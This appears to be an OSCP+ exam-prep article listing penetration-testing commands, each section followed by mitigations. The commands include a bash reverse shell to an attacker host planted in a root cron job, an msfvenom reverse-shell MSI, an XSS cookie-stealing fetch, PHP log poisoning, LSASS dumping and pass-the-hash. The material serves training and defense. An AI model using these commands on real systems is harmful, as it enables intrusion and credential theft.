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Introduction
The OSCP+ certification demands hands-on proficiency in real-world penetration testing, moving beyond theoretical knowledge to practical exploitation under exam constraints. This article extracts core techniques from Ignite Technologies’ CTF practice program—covering enumeration, privilege escalation, Active Directory attacks, and tunneling—and delivers verified commands, step‑by‑step workflows, and mitigation strategies to sharpen your red team skills.
Learning Objectives
- Execute systematic information gathering and vulnerability scanning to identify attack surfaces in Windows and Linux environments.
- Perform Linux and Windows privilege escalation using kernel exploits, misconfigurations, and token manipulation.
- Conduct Active Directory attacks (Kerberoasting, AS‑REP Roasting, ACL abuse) and pivot through segmented networks with tunneling tools.
You Should Know
- Information Gathering & Enumeration – The Foundation of Every Hack
Effective enumeration reduces wasted time during exams. Use a combination of port scanning, service detection, and automated scripts.
Step‑by‑step guide:
- Initial scan with Nmap (Linux/Windows via WSL or native):
nmap -p- --min-rate 1000 -T4 -oA allports <target_IP> nmap -p <open_ports> -sC -sV -O -oA detailed <target_IP>
2. Fast alternative with Rustscan (containerized):
docker run -it --rm --name rustscan rustscan/rustscan:2.2.0 -a <target_IP> -b 1500 -- -A -sC
3. Enumerate SMB shares (Windows often leaks credentials):
smbclient -L //<target_IP> -N enum4linux -a <target_IP>
4. Windows local enumeration (once foothold gained):
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type" net user wmic qfe get Caption,Description,HotFixID,InstalledOn
Mitigation: Disable unnecessary services, apply strict firewall rules, and use SMB signing to prevent relay attacks.
- Linux Privilege Escalation – From Low User to Root
Common vectors: sudo misconfigurations, SUID binaries, cron jobs, and kernel exploits.
Step‑by‑step guide:
1. Check sudo rights:
sudo -l If you see (ALL) NOPASSWD: /usr/bin/vim, escape with: sudo vim -c ':!/bin/bash'
2. Find SUID binaries:
find / -perm -4000 -type f 2>/dev/null Exploit known SUID binary like 'pkexec' (CVE-2021-4034)
3. Abuse writable cron scripts:
ls -la /etc/cron Add reverse shell to a script run as root echo 'bash -i >& /dev/tcp/<attacker_IP>/4444 0>&1' >> /etc/cron.daily/backup
- Kernel exploit (last resort – stable for exams like OSCP):
uname -a searchsploit linux kernel <version> Compile and run, e.g., Dirty Pipe (CVE-2022-0847)
Mitigation: Regularly patch kernels, remove unnecessary SUID bits, and restrict sudo with command whitelisting.
- Windows Privilege Escalation – SeImpersonate, Potato Attacks & More
Windows escalation often leverages service misconfigurations, AlwaysInstallElevated, or token impersonation.
Step‑by‑step guide:
1. Run PowerUp.ps1 to identify weaknesses:
powershell -ep bypass . .\PowerUp.ps1 Invoke-AllChecks
2. JuicyPotato / GodPotato (if SeImpersonate privilege available):
Download GodPotato.exe, then: GodPotato.exe -cmd "cmd /c whoami > C:\privesc.txt"
3. Check AlwaysInstallElevated registry keys:
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated If both exist (value 1), craft malicious MSI: msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker_IP> LPORT=4444 -f msi -o evil.msi msiexec /quiet /i evil.msi
Mitigation: Remove SeImpersonate privileges from unprivileged accounts, disable AlwaysInstallElevated via Group Policy, and apply LAPS for local admin password rotation.
- Active Directory Attacks – Kerberoasting, AS-REP Roasting & ACL Abuse
AD is the heart of many OSCP+ exams. Focus on extracting tickets and moving laterally.
Step‑by‑step guide:
1. Kerberoasting (request TGS for service accounts):
From Windows domain-joined machine Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList 'HTTP/websvc' Extract with Mimikatz or Rubeus Rubeus.exe kerberoast /outfile:hashes.kerberoast
Crack offline:
hashcat -m 13100 hashes.kerberoast rockyou.txt
2. AS-REP Roasting (users without pre‑authentication):
Using Impacket on Linux impacket-GetNPUsers <domain>/<user> -request -no-pass -dc-ip <DC_IP> hashcat -m 18200 hash.txt rockyou.txt
3. BloodHound enumeration:
On attacker machine, run Neo4j then BloodHound On Windows target: SharpHound.exe -c All --outputdirectory C:\temp Upload zip to BloodHound, analyze shortest path to Domain Admin
Mitigation: Use managed service accounts (gMSA) for services, enforce strong passwords (>25 chars), enable AES Kerberos encryption, and regularly audit ACLs with BloodHound.
5. Tunneling & Pivoting – Breach Network Segmentation
When you compromise a host that has access to an internal network, tunneling lets you route traffic through it.
Step‑by‑step guide:
1. SSH local port forwarding (Linux pivot):
Forward remote port 3389 (RDP) to local port 33389 ssh -L 33389:<internal_target>:3389 user@pivot_host Then connect: rdesktop 127.0.0.1:33389
2. Chisel (cross‑platform, HTTP tunneling):
On attacker (server) chisel server -p 8000 --reverse On compromised Windows pivot chisel.exe client <attacker_IP>:8000 R:socks Use proxychains on attacker echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf proxychains nmap -sT -Pn <internal_IP>
3. Ligolo-ng (advanced tunneling with routing):
Attacker sudo ip tuntap add user $(whoami) mode tun ligolo sudo ip link set ligolo up ./proxy -selfcert On pivot ./agent -connect <attacker_IP>:11601 -ignore-cert In proxy session: 'session' then 'ifconfig' and 'start'
Mitigation: Implement network micro‑segmentation, monitor for unexpected outbound SSH/HTTP tunnels using EDR, and restrict outbound internet access from internal hosts.
- Web Application Attacks – SQLi, XSS to RCE & File Inclusion
Web attacks often provide the initial foothold. Focus on parameter tampering and file inclusion.
Step‑by‑step guide:
1. SQL injection (UNION based) using sqlmap:
sqlmap -u "http://target.com/page?id=1" --dbs --batch For OS shell (if DBA privileges): sqlmap -u "http://target.com/page?id=1" --os-shell
- Local File Inclusion (LFI) to RCE via log poisoning:
GET /page?file=../../../../var/log/apache2/access.log Inject PHP payload in User-Agent: User-Agent: <?php system($_GET['cmd']); ?> Then call: /page?file=.../access.log&cmd=whoami
3. Cross‑Site Scripting (XSS) to session hijacking:
<script>fetch('http://<attacker_IP>/steal?cookie='+document.cookie)</script>
Capture cookie and replay using browser devtools or curl.
Mitigation: Use parameterized queries, disable allow_url_include, set `HttpOnly` and `SameSite=Strict` flags on cookies, and deploy a WAF with positive security model.
- Password Attacks – Cracking, Sniffing & Credential Dumping
Password attacks combine offline cracking and network sniffing (Responder, LLMNR poisoning).
Step‑by‑step guide:
1. Capture NetNTLMv2 hashes with Responder (Linux):
sudo responder -I eth0 -dwPv Wait for a user to browse a share; hash captured in logs/Responder-Session.log
2. Crack with Hashcat:
hashcat -m 5600 <ntlmv2_hash_file> /usr/share/wordlists/rockyou.txt -O
3. Dump LSASS memory (Windows post‑exploitation):
Using built-in comsvcs.dll rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <LSASS_PID> lsass.dmp full Extract hashes with pypykatz pypykatz lsa minidump lsass.dmp
4. Pass‑the‑Hash with Impacket:
impacket-psexec <domain>/<user>@<target_IP> -hashes <LM:NTLM>
Mitigation: Enable SMB signing and LDAP signing, disable LLMNR and NBT‑NS via Group Policy, use LAPS, and enable Windows Defender Credential Guard.
What Undercode Say
- Key Takeaway 1: OSCP+ success relies on methodical enumeration and chaining low‑severity misconfigurations—not just running public exploits. The training’s structured approach (from scanning to pivoting) mirrors real red team operations.
- Key Takeaway 2: Active Directory remains the most lucrative attack surface; mastering Kerberoasting, ACL abuse, and BloodHound analysis cuts exam time in half. Tunneling skills (Chisel/Ligolo) are non‑negotiable for multi‑network labs.
Analysis: The shift towards practical, time‑bound CTF environments demands automation (e.g., Rustscan, PowerUp) balanced with manual validation. Many candidates fail not because they can’t exploit, but because they miss low‑hanging fruits like writable cron jobs or unquoted service paths. This training addresses that gap by simulating real exam pressure—focusing on Windows/Linux escalation, AD attacks, and professional report writing, which is often underemphasized. For defenders, these same techniques highlight the need for continuous patch management, least privilege, and network micro‑segmentation.
Prediction
By 2027, OSCP+ will likely incorporate cloud‑native components (Azure AD, container escape) and AI‑assisted enumeration tools, raising the bar for entry‑level penetration testers. However, the core techniques covered here—especially AD attacks and tunneling—will remain relevant as hybrid infrastructures grow. Candidates who master manual chaining of exploits will outlast those reliant on automated scanners. Expect CTF training programs like Ignite Technologies to integrate red‑team automation frameworks (e.g., Mythic, Covenant) and defensive evasion tactics to mirror advanced persistent threat (APT) tradecraft.
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Basic Verification: Pass ✅
